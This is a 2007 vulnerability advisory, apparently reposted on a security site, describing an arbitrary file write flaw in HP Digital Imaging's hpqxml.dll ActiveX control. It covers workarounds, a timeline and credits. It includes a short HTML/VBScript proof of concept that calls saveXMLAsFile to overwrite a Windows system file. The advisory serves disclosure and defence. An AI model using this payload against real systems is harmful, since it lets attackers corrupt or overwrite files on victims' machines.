hpqxml.dll 2.0.0.133 from HP Digital ImagingArbitary Data Write.

2007.07.02
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write =================================================== Internal ID: VULWAR200706275. Introduction hpqxml.dll is a library included in the HP Photo Digital Imaging software package from the HP Company. http://www.hp.com. Link: http://www.hp.com/united-states/consumer/digital_photography/home_f.html Tested In - Windows XP SP2 english/french with IE 6.0 / 7.0. - Windows vista Professional English/French SP1 with IE 7.0 Summary The saveXMLAsFile method doesn't check if it is being called from the application or from a malicious user. Impact The vulnerability is due to an error in the saveXMLAsFile method that manipulate local files insecurely, which could allow malicious users to write arbitrary data to any file on a vulnerable system. Besides, the method does not check the file headers before writing. Workaround - Activate the Kill bit zero in clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3. - Unregister hpqxml.dll using regsvr32. Timeline June 27, 2007 -- Bug discovery. June 27, 2007 -- Bug published. Credits * Brian Mariani <bmariani (at) shellcode.com (dot) ar [email concealed] * GoodFellas Security Research Team <goodfellas.shellcode.com.ar> Technical Detail saveXMLAsFile method receives a filename as an argument, with this format "c:pathfile". Proof of Concept <html> <head> <title>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</title> </head> <body> <h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br> <object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target' /></object> <input language=VBScript onclick=HP() type=button value="Proof of Concept"> <script language = 'vbscript'> Sub HP() filename = "C:NTDETECT_.COM" target.saveXMLAsFile filename End Sub </script> </body> </html> -- Goodfellas SRT <goodfellas (at) shellcode.com (dot) ar [email concealed]> Goodfellas Security Research Team


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top